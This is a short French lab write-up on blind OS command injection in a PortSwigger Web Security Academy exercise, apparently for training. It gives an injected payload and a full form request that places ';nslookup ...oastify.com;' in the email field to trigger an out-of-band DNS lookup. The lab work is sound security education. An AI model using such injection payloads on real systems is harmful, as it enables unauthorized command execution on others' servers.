Injection de commandes aveugle avec interaction OOB

Blind OS command injection with out-of-band interaction

Lab: Blind OS command injection with out-of-band interaction | Web Security AcademyWebSecAcademy

Ce laboratoire présente une vulnérabilité d’injection de commandes système aveugle dans la fonctionnalité de feedback. L’application exécute une commande shell construite à partir des données fournies par l’utilisateur. Cette exécution est asynchrone et n’a aucune influence sur la réponse renvoyée par l’application. Il n’est pas possible de rediriger la sortie de la commande vers un emplacement accessible. En revanche, il est possible de provoquer des interactions hors bande (OOB) vers un domaine externe.

L’objectif du lab est d’exploiter cette injection pour forcer l’application à effectuer une requête DNS vers un domaine Burp Collaborator.

Approche

On utilise nslookup pour générer une requête sortante. L’injection se fait dans l’un des champs du formulaire, en entourant la commande avec des ; pour rompre la syntaxe d’origine.

Exemple de commande testée :

nslookup

Payload injecté :

;nslookup IP;

Si l’injection fonctionne, on reçoit la requête sur Burp Collaborator.

Exemple de requête complète

csrf=2GdzmbhNzU7HHOj8pOZUwUfJ1s0EIbjP&name=test&email=test%40test.com.com;nslookup v51x9gtodb5n35252oddaichm8szgq4f.oastify.com;&subject=test&message=test.com

Ce payload déclenche une requête DNS vers le domaine contrôlé, confirmant l’injection aveugle OOB.